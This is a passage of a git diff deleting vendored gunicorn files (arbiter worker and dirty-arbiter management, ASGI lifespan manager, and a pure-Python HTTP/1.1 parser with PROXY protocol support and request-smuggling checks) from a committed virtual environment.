self.cfg.enable_backlog_metric: - backlog = sum(sock.get_backlog() or 0 - for sock in self.LISTENERS) - - if backlog >= 0: - self.log.debug("socket backlog: {0}".format(backlog), - extra={"metric": "gunicorn.backlog", - "value": backlog, - "mtype": "histogram"}) - - def spawn_worker(self): - self.worker_age += 1 - worker = self.worker_class(self.worker_age, self.pid, self.LISTENERS, - self.app, self.timeout / 2.0, - self.cfg, self.log) - self.cfg.pre_fork(self, worker) - - pid = os.fork() - if pid != 0: - worker.pid = pid - self.WORKERS[pid] = worker - self._stats['workers_spawned'] += 1 - return pid - - # Do not inherit the temporary files of other workers - for sibling in self.WORKERS.values(): - sibling.tmp.close() - - # Process Child - worker.pid = os.getpid() - try: - util._setproctitle("worker [%s]" % self.proc_name) - self.log.info("Booting worker with pid: %s", worker.pid) - if self.cfg.reuse_port: - worker.sockets = sock.create_sockets(self.cfg, self.log) - self.cfg.post_fork(self, worker) - worker.init_process() - sys.exit(0) - except SystemExit: - raise - except AppImportError as e: - self.log.debug("Exception while loading the application", - exc_info=True) - print("%s" % e, file=sys.stderr) - sys.stderr.flush() - sys.exit(self.APP_LOAD_ERROR) - except Exception as e: - self.log.exception("Exception in worker process") - print("%s" % e, file=sys.stderr) - sys.stderr.flush() - if not worker.booted: - sys.exit(self.WORKER_BOOT_ERROR) - sys.exit(-1) - finally: - self.log.info("Worker exiting (pid: %s)", worker.pid) - try: - worker.tmp.close() - self.cfg.worker_exit(self, worker) - except Exception: - self.log.warning("Exception during worker exit:\n%s", - traceback.format_exc()) - - def spawn_workers(self): - """\ - Spawn new workers as needed. - - This is where a worker process leaves the main loop - of the master process. - """ - - for _ in range(self.num_workers - len(self.WORKERS)): - self.spawn_worker() - time.sleep(0.1 * random.random()) - - def kill_workers(self, sig): - """\ - Kill all workers with the signal `sig` - :attr sig: `signal.SIG*` value - """ - worker_pids = list(self.WORKERS.keys()) - for pid in worker_pids: - self.kill_worker(pid, sig) - - def kill_worker(self, pid, sig): - """\ - Kill a worker - - :attr pid: int, worker pid - :attr sig: `signal.SIG*` value - """ - try: - os.kill(pid, sig) - # Track kills only on SIGTERM/SIGKILL (actual termination signals) - if sig in (signal.SIGTERM, signal.SIGKILL): - self._stats['workers_killed'] += 1 - except OSError as e: - if e.errno == errno.ESRCH: - try: - worker = self.WORKERS.pop(pid) - worker.tmp.close() - self.cfg.worker_exit(self, worker) - return - except (KeyError, OSError): - return - raise - - # ========================================================================= - # Dirty Arbiter Management - # ========================================================================= - - def _get_dirty_pidfile_path(self): - """Get the well-known PID file path for orphan detection. - - Uses self.proc_name (not self.cfg.proc_name) so that during USR2 - the new master gets a different PID file path ("myapp.2" vs "myapp"). - This prevents the old dirty arbiter from removing the new one's PID file. - """ - import tempfile - safe_name = self.proc_name.replace('/', '_').replace(' ', '_') - return os.path.join(tempfile.gettempdir(), f"gunicorn-dirty-{safe_name}.pid") - - def _cleanup_orphaned_dirty_arbiter(self): - """Kill any orphaned dirty arbiter from a previous crash. - - Only runs on fresh start (master_pid == 0), not during USR2. - """ - # During USR2, master_pid is set - don't cleanup old dirty arbiter - if self.master_pid != 0: - return - - pidfile = self._get_dirty_pidfile_path() - if not os.path.exists(pidfile): - return - - try: - with open(pidfile) as f: - old_pid = int(f.read().strip()) - - # Check if process exists - os.kill(old_pid, 0) - # Process exists - kill orphan - self.log.warning("Killing orphaned dirty arbiter (pid: %s)", old_pid) - os.kill(old_pid, signal.SIGTERM) - # Wait briefly for graceful exit - for _ in range(10): - time.sleep(0.1) - try: - os.kill(old_pid, 0) - except OSError: - break - else: - os.kill(old_pid, signal.SIGKILL) - except (ValueError, IOError, OSError): - pass - - # Remove stale PID file - try: - os.unlink(pidfile) - except OSError: - pass - - def spawn_dirty_arbiter(self): - """\ - Spawn the dirty arbiter process. - - The dirty arbiter manages a separate pool of workers for - long-running, blocking operations. - """ - # Lazy import for gevent compatibility (see #3482) - from gunicorn.dirty import DirtyArbiter, set_dirty_socket_path - - if self.dirty_arbiter_pid: - return # Already running - - # Cleanup any orphaned dirty arbiter from previous crash - self._cleanup_orphaned_dirty_arbiter() - - # Get well-known PID file path - self.dirty_pidfile = self._get_dirty_pidfile_path() - - self.dirty_arbiter = DirtyArbiter( - self.cfg, self.log, - pidfile=self.dirty_pidfile - ) - socket_path = self.dirty_arbiter.socket_path - - pid = os.fork() - if pid != 0: - # Parent process - self.dirty_arbiter_pid = pid - # Set socket path for HTTP workers to use - set_dirty_socket_path(socket_path) - os.environ['GUNICORN_DIRTY_SOCKET'] = socket_path - self.log.info("Spawned dirty arbiter (pid: %s) at %s", - pid, socket_path) - return pid - - # Child process - run the dirty arbiter - try: - self.dirty_arbiter.run() - sys.exit(0) - except SystemExit: - raise - except Exception: - self.log.exception("Exception in dirty arbiter process") - sys.exit(-1) - - def kill_dirty_arbiter(self, sig): - """\ - Send a signal to the dirty arbiter. - - :attr sig: `signal.SIG*` value - """ - if not self.dirty_arbiter_pid: - return - - try: - os.kill(self.dirty_arbiter_pid, sig) - except OSError as e: - if e.errno == errno.ESRCH: - self.dirty_arbiter_pid = 0 - self.dirty_arbiter = None - - def handle_dirty_arbiter_exit(self, wpid, status): - """\ - Report the dirty arbiter exit status and forget the process. - - Called from both reaping paths: the targeted waitpid below, and - reap_workers() when its waitpid(-1) claims the process first. - """ - if os.WIFEXITED(status): - exitcode = os.WEXITSTATUS(status) - if exitcode != 0: - self.log.error("Dirty arbiter (pid:%s) exited with code %s", - wpid, exitcode) - else: - self.log.info("Dirty arbiter (pid:%s) exited", wpid) - elif os.WIFSIGNALED(status): - sig = os.WTERMSIG(status) - self.log.warning("Dirty arbiter (pid:%s) killed by signal %s", - wpid, sig) - - self.dirty_arbiter_pid = 0 - self.dirty_arbiter = None - - def reap_dirty_arbiter(self): - """\ - Reap the dirty arbiter process if it has exited. - """ - if not self.dirty_arbiter_pid: - return - - try: - wpid, status = os.waitpid(self.dirty_arbiter_pid, os.WNOHANG) - if not wpid: - return - - self.handle_dirty_arbiter_exit(wpid, status) - except OSError as e: - if e.errno == errno.ECHILD: - self.dirty_arbiter_pid = 0 - self.dirty_arbiter = None - - def manage_dirty_arbiter(self): - """\ - Maintain the dirty arbiter process by respawning if needed. - """ - if self.dirty_arbiter_pid: - return # Already running - - if self.cfg.dirty_workers > 0 and self.cfg.dirty_apps: - self.log.info("Spawning dirty arbiter...") - self.spawn_dirty_arbiter() - - # ========================================================================= - # Control Socket Management - # ========================================================================= - - def _get_control_socket_path(self): - """Get the control socket path, making relative paths absolute.""" - socket_path = self.cfg.control_socket - if not os.path.isabs(socket_path): - socket_path = os.path.join(util.getcwd(), socket_path) - return socket_path - - def _start_control_server(self): - """\ - Start the control socket server. - - The server runs in a background thread and accepts commands - via Unix socket. - """ - if self.cfg.control_socket_disable: - self.log.debug("Control socket disabled") - return - - # Lazy import to avoid circular imports and gevent compatibility - from gunicorn.ctl.server import ControlSocketServer - - socket_path = self._get_control_socket_path() - socket_mode = self.cfg.control_socket_mode - - try: - self._control_server = ControlSocketServer( - self, socket_path, socket_mode - ) - self._control_server.start() - except Exception as e: - self.log.warning("Failed to start control socket: %s", e) - self._control_server = None - - def _stop_control_server(self): - """\ - Stop the control socket server. - """ - if self._control_server: - try: - self._control_server.stop() - except Exception as e: - self.log.debug("Error stopping control server: %s", e) - self._control_server = None diff --git a/venv/Lib/site-packages/gunicorn/asgi/__init__.py b/venv/Lib/site-packages/gunicorn/asgi/__init__.py deleted file mode 100644 index 7c5a06103558e520fd1519c60d8ed14ee452073d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -ASGI support for gunicorn. - -This module provides native ASGI worker support, using gunicorn's own -HTTP parsing infrastructure adapted for async I/O. - -Components: -- AsyncUnreader: Async socket reading with pushback buffer -- ASGIProtocol: asyncio.Protocol implementation for HTTP handling -- WebSocketProtocol: WebSocket protocol handler (RFC 6455) -- LifespanManager: ASGI lifespan protocol support - -Usage: - gunicorn -k asgi myapp:app -""" - -from gunicorn.asgi.unreader import AsyncUnreader -from gunicorn.asgi.lifespan import LifespanManager - -__all__ = ['AsyncUnreader', 'LifespanManager'] diff --git a/venv/Lib/site-packages/gunicorn/asgi/lifespan.py b/venv/Lib/site-packages/gunicorn/asgi/lifespan.py deleted file mode 100644 index 9811cf56a402adf043812501a7fca9ee43aad44b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/lifespan.py +++ /dev/null @@ -1,178 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -ASGI lifespan protocol manager. - -Manages startup and shutdown events for ASGI applications, -enabling frameworks like FastAPI to run initialization and -cleanup code. -""" - -import asyncio - - -class LifespanManager: - """Manages ASGI lifespan events (startup/shutdown). - - The lifespan protocol allows ASGI applications to run code at - startup and shutdown. This is essential for applications that - need to initialize database connections, caches, or other - resources. - - ASGI lifespan messages: - - Server sends: {"type": "lifespan.startup"} - - App responds: {"type": "lifespan.startup.complete"} or - {"type": "lifespan.startup.failed", "message": "..."} - - Server sends: {"type": "lifespan.shutdown"} - - App responds: {"type": "lifespan.shutdown.complete"} - """ - - def __init__(self, app, logger, state=None): - """Initialize the lifespan manager. - - Args: - app: ASGI application callable - logger: Logger instance - state: Shared state dict for the application - """ - self.app = app - self.logger = logger - self.state = state if state is not None else {} - - self._startup_complete = asyncio.Event() - self._shutdown_complete = asyncio.Event() - self._startup_failed = False - self._startup_error = None - self._shutdown_error = None - self._receive_queue = asyncio.Queue() - self._task = None - self._app_finished = False - - async def startup(self): - """Run lifespan startup and wait for completion. - - Raises: - RuntimeError: If startup fails or app doesn't support lifespan - """ - scope = { - "type": "lifespan", - "asgi": {"version": "3.0", "spec_version": "2.4"}, - "state": self.state, - } - - # Send startup event - await self._receive_queue.put({"type": "lifespan.startup"}) - - # Run lifespan in background task - self._task = asyncio.create_task(self._run_lifespan(scope)) - - # Wait for startup with timeout - try: - await asyncio.wait_for( - self._startup_complete.wait(), - timeout=30.0 # Reasonable startup timeout - ) - except asyncio.TimeoutError: - if self._task: - self._task.cancel() - raise RuntimeError("Lifespan startup timed out") - - if self._startup_failed: - if self._task: - self._task.cancel() - msg = self._startup_error or "Unknown error" - raise RuntimeError(f"Lifespan startup failed: {msg}") - - self.logger.debug("ASGI lifespan startup complete") - - async def shutdown(self): - """Signal shutdown and wait for completion. - - This should be called during graceful shutdown. - """ - if self._app_finished: - self.logger.debug("ASGI lifespan already finished") - return - - # Send shutdown event - await self._receive_queue.put({"type": "lifespan.shutdown"}) - - # Wait for shutdown with timeout - try: - await asyncio.wait_for( - self._shutdown_complete.wait(), - timeout=30.0 # Reasonable shutdown timeout - ) - except asyncio.TimeoutError: - self.logger.warning("Lifespan shutdown timed out") - - if self._shutdown_error: - self.logger.error("Lifespan shutdown error: %s", self._shutdown_error) - - # Cancel the task if still running - if self._task and not self._task.done(): - self._task.cancel() - try: - await self._task - except asyncio.CancelledError: - pass - - self.logger.debug("ASGI lifespan shutdown complete") - - async def _run_lifespan(self, scope): - """Run the ASGI lifespan protocol.""" - try: - await self.app(scope, self._receive, self._send) - except asyncio.CancelledError: - raise - except Exception as e: - self.logger.debug("Lifespan application raised: %s", e) - # If startup hasn't completed, mark it as failed - if not self._startup_complete.is_set(): - self._startup_failed = True - self._startup_error = str(e) - self._startup_complete.set() - # If shutdown hasn't completed, mark error - elif not self._shutdown_complete.is_set(): - self._shutdown_error = str(e) - self._shutdown_complete.set() - finally: - self._app_finished = True - # Ensure events are set to unblock waiters - if not self._startup_complete.is_set(): - self._startup_failed = True - self._startup_error = "Application exited before startup complete" - self._startup_complete.set() - if not self._shutdown_complete.is_set(): - self._shutdown_complete.set() - - async def _receive(self): - """ASGI receive callable for lifespan.""" - return await self._receive_queue.get() - - async def _send(self, message): - """ASGI send callable for lifespan.""" - msg_type = message["type"] - - if msg_type == "lifespan.startup.complete": - self._startup_complete.set() - self.logger.debug("Received lifespan.startup.complete") - - elif msg_type == "lifespan.startup.failed": - self._startup_failed = True - self._startup_error = message.get("message", "") - self._startup_complete.set() - self.logger.debug("Received lifespan.startup.failed: %s", - self._startup_error) - - elif msg_type == "lifespan.shutdown.complete": - self._shutdown_complete.set() - self.logger.debug("Received lifespan.shutdown.complete") - - elif msg_type == "lifespan.shutdown.failed": - self._shutdown_error = message.get("message", "") - self._shutdown_complete.set() - self.logger.debug("Received lifespan.shutdown.failed: %s", - self._shutdown_error) diff --git a/venv/Lib/site-packages/gunicorn/asgi/parser.py b/venv/Lib/site-packages/gunicorn/asgi/parser.py deleted file mode 100644 index 342f2d8d2701bd2903f34134776ca4d26bbc8bf2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/parser.py +++ /dev/null @@ -1,974 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP parser for ASGI workers. - -Provides callback-based parsing using either the fast C parser (gunicorn_h1c) -or the pure Python PythonProtocol fallback. -""" - -import socket -import struct -from enum import IntEnum - - -class ParseError(Exception): - """Base error raised during HTTP parsing.""" - - -class InvalidProxyLine(ParseError): - """Invalid PROXY protocol v1 line.""" - - -class InvalidProxyHeader(ParseError): - """Invalid PROXY protocol v2 header.""" - - -# PROXY protocol v2 constants -PP_V2_SIGNATURE = b"\x0D\x0A\x0D\x0A\x00\x0D\x0A\x51\x55\x49\x54\x0A" - - -# RFC 9110 section 6.5.1: fields forbidden in trailers because they alter -# routing, framing, or authentication. -RFC9110_6_5_1_FORBIDDEN_TRAILER = frozenset(( - b"host", - b"content-length", - b"transfer-encoding", - b"trailer", - b"authorization", - b"te", -)) - - -class PPCommand(IntEnum): - """PROXY protocol v2 commands.""" - LOCAL = 0x0 - PROXY = 0x1 - - -class PPFamily(IntEnum): - """PROXY protocol v2 address families.""" - UNSPEC = 0x0 - INET = 0x1 # IPv4 - INET6 = 0x2 # IPv6 - UNIX = 0x3 - - -class PPProtocol(IntEnum): - """PROXY protocol v2 transport protocols.""" - UNSPEC = 0x0 - STREAM = 0x1 # TCP - DGRAM = 0x2 # UDP - - -class LimitRequestLine(ParseError): - """Request line exceeds configured limit.""" - - -class LimitRequestHeaders(ParseError): - """Too many headers or header field too large.""" - - -class InvalidRequestLine(ParseError): - """Invalid request line.""" - - -class InvalidRequestMethod(ParseError): - """Invalid HTTP method.""" - - -class InvalidHTTPVersion(ParseError): - """Invalid HTTP version.""" - - -class InvalidHeaderName(ParseError): - """Invalid header name.""" - - -class InvalidHeader(ParseError): - """Invalid header value.""" - - -class UnsupportedTransferCoding(ParseError): - """Unsupported Transfer-Encoding value.""" - - -class InvalidChunkSize(ParseError): - """Invalid chunk size in chunked transfer encoding.""" - - -class InvalidChunkExtension(ParseError): - """Invalid chunk extension per RFC 9112.""" - - -# RFC 9110 section 5.3: fields whose grammar admits only a single member, so a -# second occurrence cannot be merged and makes the message ambiguous. Lowercase -# because that is how _finalize_headers() stores names. content-length belongs -# to this class too but is validated separately, alongside its value. -RFC9110_5_3_SINGLETON_FIELDS = frozenset(( - b'host', - b'content-type', -)) - - -class PythonProtocol: - """Callback-based HTTP/1.1 parser (pure Python fallback). - - Mirrors H1CProtocol interface for seamless switching between - the C extension and pure Python implementations. - - Callbacks: - on_message_begin: () -> None - Called when request starts - on_url: (url: bytes) -> None - Called with request URL/path - on_header: (name: bytes, value: bytes) -> None - Called for each header - on_headers_complete: () -> bool - Called when headers done (return True to skip body) - on_body: (chunk: bytes) -> None - Called with body data chunks - on_message_complete: () -> None - Called when request is complete - """ - - __slots__ = ( - '_on_message_begin', '_on_url', '_on_header', - '_on_headers_complete', '_on_body', '_on_message_complete', - '_state', '_buffer', '_headers_list', - 'method', 'path', 'http_version', 'headers', - 'content_length', 'is_chunked', 'should_keep_alive', 'is_complete', - '_body_remaining', '_skip_body', - '_chunk_state', '_chunk_size', '_chunk_remaining', - '_limit_request_line', '_limit_request_fields', '_limit_request_field_size', - '_permit_unconventional_http_method', '_permit_unconventional_http_version', - '_header_count', - '_proxy_protocol', '_proxy_protocol_info', '_proxy_protocol_done', - ) - - def __init__( - self, - on_message_begin=None, - on_url=None, - on_header=None, - on_headers_complete=None, - on_body=None, - on_message_complete=None, - limit_request_line=8190, - limit_request_fields=100, - limit_request_field_size=8190, - permit_unconventional_http_method=False, - permit_unconventional_http_version=False, - proxy_protocol='off', - ): - self._on_message_begin = on_message_begin - self._on_url = on_url - self._on_header = on_header - self._on_headers_complete = on_headers_complete - self._on_body = on_body - self._on_message_complete = on_message_complete - - # Store limits - self._limit_request_line = limit_request_line - self._limit_request_fields = limit_request_fields - self._limit_request_field_size = limit_request_field_size - self._permit_unconventional_http_method = permit_unconventional_http_method - self._permit_unconventional_http_version = permit_unconventional_http_version - self._header_count = 0 - - # Proxy protocol - self._proxy_protocol = proxy_protocol - self._proxy_protocol_info = None - self._proxy_protocol_done = proxy_protocol == 'off' - - # Parser state: proxy_protocol, request_line, headers, body, chunked_size, chunked_data, complete - self._state = 'proxy_protocol' if proxy_protocol != 'off' else 'request_line' - self._buffer = bytearray() - self._headers_list = [] - - # Request info (populated during parsing) - self.method = None - self.path = None - self.http_version = None - self.headers = [] - self.content_length = None - self.is_chunked = False - self.should_keep_alive = True - self.is_complete = False - - # Body state - self._body_remaining = 0 - self._skip_body = False - - # Chunked transfer state - self._chunk_state = 'size' # size, data, trailer - self._chunk_size = 0 - self._chunk_remaining = 0 - - def feed(self, data): - """Process data, fire callbacks synchronously. - - Args: - data: bytes or bytearray of incoming data - - Raises: - ParseError: If the HTTP request is malformed - """ - self._buffer.extend(data) - - while self._buffer: - if self._state == 'proxy_protocol': - if not self._parse_proxy_protocol(): - break - elif self._state == 'request_line': - if not self._parse_request_line(): - break - elif self._state == 'headers': - if not self._parse_headers(): - break - elif self._state == 'body': - if not self._parse_body(): - break - elif self._state == 'chunked': - if not self._parse_chunked_body(): - break - else: - break - - @property - def proxy_protocol_info(self): - """Return proxy protocol info if parsed.""" - return self._proxy_protocol_info - - def reset(self): - """Reset for next request (keepalive).""" - self._state = 'request_line' - self._buffer.clear() - self._headers_list = [] - self.method = None - self.path = None - self.http_version = None - self.headers = [] - self.content_length = None - self.is_chunked = False - self.should_keep_alive = True - self.is_complete = False - self._body_remaining = 0 - self._skip_body = False - self._chunk_state = 'size' - self._chunk_size = 0 - self._chunk_remaining = 0 - self._header_count = 0 - - def finish(self): - """Mark parsing complete for EOF handling. - - Call when no more data will be received. Handles edge cases like - chunked encoding without final trailer CRLF. - """ - if self._state == 'chunked' and self._chunk_state == 'trailer': - # All body data received, just missing final CRLF - self._state = 'complete' - self.is_complete = True - if self._on_message_complete: - self._on_message_complete() - - def _parse_proxy_protocol(self): - """Parse PROXY protocol header if enabled. - - Returns True if parsing is complete (or not applicable), - False if more data is needed. - """ - # Need at least 12 bytes to detect v2 signature or check for v1 prefix - if len(self._buffer) < 12: - return False - - mode = self._proxy_protocol - - # Check for v2 signature first - if mode in ('v2', 'auto') and self._buffer[:12] == PP_V2_SIGNATURE: - return self._parse_proxy_protocol_v2() - - # Check for v1 prefix - if mode in ('v1', 'auto') and self._buffer[:6] == b'PROXY ': - return self._parse_proxy_protocol_v1() - - # Not proxy protocol - continue with normal parsing - self._proxy_protocol_done = True - self._state = 'request_line' - return True - - def _parse_proxy_protocol_v1(self): - """Parse PROXY protocol v1 (text format). - - Format: PROXY \r\n - """ - # Find end of line - idx = self._buffer.find(b'\r\n') - if idx == -1: - # Need more data - v1 header can be up to 107 bytes - if len(self._buffer) > 107: - raise InvalidProxyLine("PROXY v1 header too long") - return False - - line = bytes(self._buffer[:idx]).decode('latin-1') - del self._buffer[:idx + 2] - - # Parse the line - parts = line.split(' ') - if len(parts) < 2: - raise InvalidProxyLine("Invalid PROXY v1 line") - - proto = parts[1].upper() - - if proto == 'UNKNOWN': - # Unknown protocol - no address info - self._proxy_protocol_info = { - 'proxy_protocol': 'UNKNOWN', - 'client_addr': None, - 'client_port': None, - 'proxy_addr': None, - 'proxy_port': None, - } - elif proto in ('TCP4', 'TCP6'): - if len(parts) != 6: - raise InvalidProxyLine("Invalid PROXY v1 line for %s" % proto) - - s_addr = parts[2] - d_addr = parts[3] - - # Validate addresses with the appropriate family. WSGI does the - # same in gunicorn/http/message.py:_parse_proxy_protocol_v1. - af = socket.AF_INET if proto == 'TCP4' else socket.AF_INET6 - try: - socket.inet_pton(af, s_addr) - socket.inet_pton(af, d_addr) - except (OSError, ValueError): - raise InvalidProxyLine("Invalid PROXY v1 %s address" % proto) - - try: - s_port = int(parts[4]) - d_port = int(parts[5]) - except ValueError as e: - raise InvalidProxyLine("Invalid PROXY v1 port: %s" % e) - - if not (0 <= s_port <= 65535 and 0 <= d_port <= 65535): - raise InvalidProxyLine("Invalid PROXY v1 port range") - - self._proxy_protocol_info = { - 'proxy_protocol': proto, - 'client_addr': s_addr, - 'client_port': s_port, - 'proxy_addr': d_addr, - 'proxy_port': d_port, - } - else: - raise InvalidProxyLine("Unknown PROXY v1 protocol: %s" % proto) - - self._proxy_protocol_done = True - self._state = 'request_line' - return True - - def _parse_proxy_protocol_v2(self): - """Parse PROXY protocol v2 (binary format).""" - # Need at least 16 bytes for header - if len(self._buffer) < 16: - return False - - # Parse header - ver_cmd = self._buffer[12] - fam_prot = self._buffer[13] - length = struct.unpack('>H', bytes(self._buffer[14:16]))[0] - - # Check version - version = (ver_cmd & 0xF0) >> 4 - if version != 2: - raise InvalidProxyHeader("Unsupported PROXY v2 version: %d" % version) - - # Check command - command = ver_cmd & 0x0F - if command not in (PPCommand.LOCAL, PPCommand.PROXY): - raise InvalidProxyHeader("Unsupported PROXY v2 command: %d" % command) - - # Check if we have the complete header - total_size = 16 + length - if len(self._buffer) < total_size: - return False - - # Extract address data - addr_data = bytes(self._buffer[16:total_size]) - del self._buffer[:total_size] - - # Handle LOCAL command - if command == PPCommand.LOCAL: - self._proxy_protocol_info = { - 'proxy_protocol': 'LOCAL', - 'client_addr': None, - 'client_port': None, - 'proxy_addr': None, - 'proxy_port': None, - } - self._proxy_protocol_done = True - self._state = 'request_line' - return True - - # Parse address family and protocol - family = (fam_prot & 0xF0) >> 4 - protocol = fam_prot & 0x0F - - # gunicorn is an HTTP server; only TCP (STREAM) makes sense. WSGI - # rejects non-STREAM at gunicorn/http/message.py:_parse_proxy_protocol_v2. - if family in (PPFamily.INET, PPFamily.INET6) and protocol != PPProtocol.STREAM: - raise InvalidProxyHeader( - "PROXY v2: only TCP (STREAM) protocol is supported" - ) - - if family == PPFamily.INET: - # IPv4 - if len(addr_data) < 12: - raise InvalidProxyHeader("Invalid PROXY v2 IPv4 address data") - s_addr = '.'.join(str(b) for b in addr_data[:4]) - d_addr = '.'.join(str(b) for b in addr_data[4:8]) - s_port = struct.unpack('>H', addr_data[8:10])[0] - d_port = struct.unpack('>H', addr_data[10:12])[0] - proto = 'TCP4' - - elif family == PPFamily.INET6: - # IPv6 - if len(addr_data) < 36: - raise InvalidProxyHeader("Invalid PROXY v2 IPv6 address data") - # Format IPv6 addresses - s_words = struct.unpack('>8H', addr_data[:16]) - d_words = struct.unpack('>8H', addr_data[16:32]) - s_addr = ':'.join('%x' % w for w in s_words) - d_addr = ':'.join('%x' % w for w in d_words) - s_port = struct.unpack('>H', addr_data[32:34])[0] - d_port = struct.unpack('>H', addr_data[34:36])[0] - proto = 'TCP6' - - elif family == PPFamily.UNSPEC: - # Unspecified address family - self._proxy_protocol_info = { - 'proxy_protocol': 'UNSPEC', - 'client_addr': None, - 'client_port': None, - 'proxy_addr': None, - 'proxy_port': None, - } - self._proxy_protocol_done = True - self._state = 'request_line' - return True - - else: - raise InvalidProxyHeader("Unsupported PROXY v2 address family: %d" % family) - - self._proxy_protocol_info = { - 'proxy_protocol': proto, - 'client_addr': s_addr, - 'client_port': s_port, - 'proxy_addr': d_addr, - 'proxy_port': d_port, - } - - self._proxy_protocol_done = True - self._state = 'request_line' - return True - - def _parse_request_line(self): - """Parse request line, return True if complete.""" - idx = self._buffer.find(b'\r\n') - if idx == -1: - return False - - # Check request line length limit - if self._limit_request_line > 0 and idx > self._limit_request_line: - raise LimitRequestLine("Request line is too large") - - line = bytes(self._buffer[:idx]) - del self._buffer[:idx + 2] - - # Parse: METHOD PATH HTTP/x.y - parts = line.split(b' ', 2) - if len(parts) != 3: - raise InvalidRequestLine("Invalid request line") - - self.method = parts[0] - self.path = parts[1] - - # Validate method - if not self._permit_unconventional_http_method: - if not self._is_valid_method(self.method): - raise InvalidRequestMethod(self.method.decode('latin-1')) - - # RFC 9112 section 3.2.4: asterisk-form is only valid with OPTIONS. - if self.path == b'*' and self.method != b'OPTIONS': - raise InvalidRequestLine("Invalid request line") - - # RFC 9112 section 3.2.3: authority-form is only valid with CONNECT. - if (self.method != b'CONNECT' - and self.path != b'*' - and not self.path.startswith(b'/') - and b'://' not in self.path): - raise InvalidRequestLine("Invalid request line") - - # Parse version - version = parts[2] - if version == b'HTTP/1.1': - self.http_version = (1, 1) - elif version == b'HTTP/1.0': - self.http_version = (1, 0) - else: - if not self._permit_unconventional_http_version: - raise InvalidHTTPVersion(version.decode('latin-1')) - # Try to parse other HTTP/1.x versions if permitted - if version.startswith(b'HTTP/1.'): - try: - minor = int(version[7:]) - self.http_version = (1, minor) - except ValueError: - raise InvalidHTTPVersion(version.decode('latin-1')) - else: - raise InvalidHTTPVersion(version.decode('latin-1')) - - if self._on_message_begin: - self._on_message_begin() - if self._on_url: - self._on_url(self.path) - - self._state = 'headers' - return True - - def _parse_headers(self): - """Parse headers, return True if headers are complete.""" - while True: - idx = self._buffer.find(b'\r\n') - if idx == -1: - return False - - line = bytes(self._buffer[:idx]) - del self._buffer[:idx + 2] - - if not line: - # Empty line = end of headers - self._finalize_headers() - return True - - # Check header field size limit (include CRLF in size to match WSGI parser) - if self._limit_request_field_size > 0 and len(line) + 2 > self._limit_request_field_size: - raise LimitRequestHeaders("Request header field is too large") - - # Check header count limit - self._header_count += 1 - if self._limit_request_fields > 0 and self._header_count > self._limit_request_fields: - raise LimitRequestHeaders("Too many headers") - - # Parse header - colon = line.find(b':') - if colon == -1: - raise InvalidHeader("Missing colon in header") - - name = line[:colon].strip() - if not self._is_valid_token(name): - raise InvalidHeaderName(name.decode('latin-1')) - - value = line[colon + 1:].strip() - if self._has_invalid_header_chars(value): - raise InvalidHeader("Invalid characters in header value") - - # Store lowercase name for internal use - name_lower = name.lower() - self._headers_list.append((name_lower, value)) - - if self._on_header: - self._on_header(name_lower, value) - - def _finalize_headers(self): - """Called when all headers received. - - Validates headers for request smuggling vulnerabilities: - - Rejects duplicate Content-Length headers - - Rejects duplicate Host and Content-Type headers - - Rejects requests with both Content-Length and Transfer-Encoding - - Rejects chunked Transfer-Encoding in HTTP/1.0 - - Rejects stacked chunked encoding - - Validates Transfer-Encoding values - """ - self.headers = self._headers_list - - # Extract and validate content-length and transfer-encoding - content_length = None - chunked = False - seen_singletons = set() - - for name, value in self.headers: - # RFC 9110 section 5.3: these admit a single member only, so a - # repeat cannot be merged and leaves the message ambiguous. - # content-length is handled separately just below. - if name in RFC9110_5_3_SINGLETON_FIELDS: - if name in seen_singletons: - raise InvalidHeader( - "Duplicate %s header" % name.decode('latin-1')) - seen_singletons.add(name) - - if name == b'content-length': - # Reject duplicate Content-Length headers (request smuggling vector) - if content_length is not None: - raise InvalidHeader("Duplicate Content-Length header") - try: - cl_value = int(value) - except ValueError: - raise InvalidHeader("Invalid Content-Length value") - if cl_value < 0: - raise InvalidHeader("Negative Content-Length") - content_length = cl_value - - elif name == b'transfer-encoding': - # Properly parse comma-separated Transfer-Encoding values - # per RFC 9112 Section 6.1 - vals = [v.strip() for v in value.split(b',')] - for val in vals: - val_lower = val.lower() - if val_lower == b'chunked': - # Reject stacked chunked encoding (request smuggling vector) - if chunked: - raise InvalidHeader("Stacked chunked encoding") - chunked = True - elif val_lower == b'identity': - # identity after chunked is invalid - if chunked: - raise InvalidHeader("Invalid Transfer-Encoding after chunked") - elif val_lower in (b'compress', b'deflate', b'gzip'): - # Compression after chunked is invalid - if chunked: - raise InvalidHeader("Invalid Transfer-Encoding after chunked") - # Mark connection for close (unsupported but valid) - self.should_keep_alive = False - else: - # Reject unknown transfer codings - raise UnsupportedTransferCoding(val.decode('latin-1')) - - elif name == b'connection': - val = value.lower() - if b'close' in val: - self.should_keep_alive = False - elif b'keep-alive' in val: - self.should_keep_alive = True - - # Security checks for request smuggling prevention - if chunked: - # Reject chunked in HTTP/1.0 (RFC 9112 Section 6.1) - if self.http_version < (1, 1): - raise InvalidHeader("Chunked encoding not allowed in HTTP/1.0") - # Reject Content-Length with Transfer-Encoding (request smuggling vector) - if content_length is not None: - raise InvalidHeader("Content-Length with Transfer-Encoding") - self.is_chunked = True - self.content_length = None - self._body_remaining = -1 # Chunked mode - elif content_length is not None: - self.content_length = content_length - self._body_remaining = content_length - else: - # No body - self.content_length = None - self._body_remaining = 0 - - # HTTP/1.0 defaults to close - if self.http_version == (1, 0) and self.should_keep_alive: - # Only keep-alive if explicitly requested - has_keepalive = any( - name == b'connection' and b'keep-alive' in value.lower() - for name, value in self.headers - ) - if not has_keepalive: - self.should_keep_alive = False - - if self._on_headers_complete: - self._skip_body = self._on_headers_complete() - - # Determine next state - if self._skip_body: - self._state = 'complete' - self.is_complete = True - if self._on_message_complete: - self._on_message_complete() - elif self.is_chunked: - self._state = 'chunked' - self._chunk_state = 'size' - elif self.content_length and self.content_length > 0: - self._state = 'body' - else: - # No body - self._state = 'complete' - self.is_complete = True - if self._on_message_complete: - self._on_message_complete() - - 